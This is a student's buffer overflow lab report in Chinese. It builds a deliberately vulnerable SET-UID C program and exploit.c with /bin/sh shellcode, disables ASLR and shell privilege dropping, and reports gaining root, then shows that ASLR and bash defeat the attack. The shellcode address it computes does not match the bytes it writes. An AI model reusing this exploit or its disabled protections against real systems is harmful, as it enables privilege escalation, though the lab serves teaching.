20165315 緩沖區溢出漏洞實驗
20165315 緩沖區溢出漏洞實驗
一、實驗簡介
緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。
二、實驗步驟
1、前期準備
實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察匯編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備:
輸入命令安裝一些用於編譯 32 位 C 程序的軟件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
sudo apt-get install -y lib32readline-gplv2-dev
2、初始設置
- 關閉地址空間隨機化功能,此功能用於隨機堆和棧的初始地址,使猜測準確的內存地址變得困難
sudo sysctl -w kernel.randomize_va_space=0
- 為了進一步防範緩沖區溢出攻擊及其它利用 shell 程序的攻擊,許多shell程序在被調用時自動放棄它們的特權,不能在shell中保持root權限,這個防護措施在/bin/bash中實現。linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替 /bin/bash
設置zsh程序:
$sudo su
$cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
- 輸入命令“linux32”進入32位linux環境。此時你會發現,命令行用起來沒那麽爽了,比如不能tab補全了,輸入“/bin/bash”使用bash
3、漏洞程序
- 在 /tmp 目錄下新建一個 stack.c 文件,並輸入如下內容:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
- 編譯該程序,並設置 SET-UID
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
4、攻擊程序
此程序目的在攻擊剛才的漏洞程序,並通過攻擊獲得 root 權限
在 /tmp 目錄下通過命令行wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
輸入如下內容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節覆蓋sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
- 得到 shellcode 在內存中的地址
$ gdb stack
$ disass main
$ b [地址]
$ r
$ i r $esp
$ q
根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffd420(十六進制) + 0x64(100的十六進制) = 0xffffd484(十六進制)
修改exploit.c文件!將 \x??\x??\x??\x?? 修改為 \xc4\xd0\xff\xff
- 編譯運行,可見,通過攻擊,獲得了root 權限
$ gcc -m32 -o exploit exploit.c
$ ./exploit
$ ./stack
三、實驗練習
1、通過命令
sudo sysctl -w kernel.randomize_va_space=2
打開系統的地址空間隨機化機制,重復用 exploit 程序攻擊 stack 程序,觀察能否攻擊成功,能否獲得root權限。
通過實驗,發現開啟地址空間隨機分配保護後,緩存區溢出攻擊失效:
2、將 /bin/sh 重新指向 /bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得 root 權限。
通過實驗,發現將 /bin/sh 重新指向 /bin/bash(或/bin/dash)後,緩存區溢出也不能攻擊:
四、實驗總結
這次實驗比較簡單,在實驗樓簡單明了的步驟過程的幫助下,我比較順利的完成了實驗。但是在實驗的過程中,我也犯了一點小錯,第一次是沒有將地址加上16進制的100,第二次是高低地址寫反了,都導致攻擊失敗,顯示段錯誤。經過反復實驗,最終攻擊成功。通過這次實驗,我明白了什麽是緩沖區溢出攻擊,即通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的,從而對Linux系統有了進一步的了解,對學習本課程有了很大的幫助。
20165315 緩沖區溢出漏洞實驗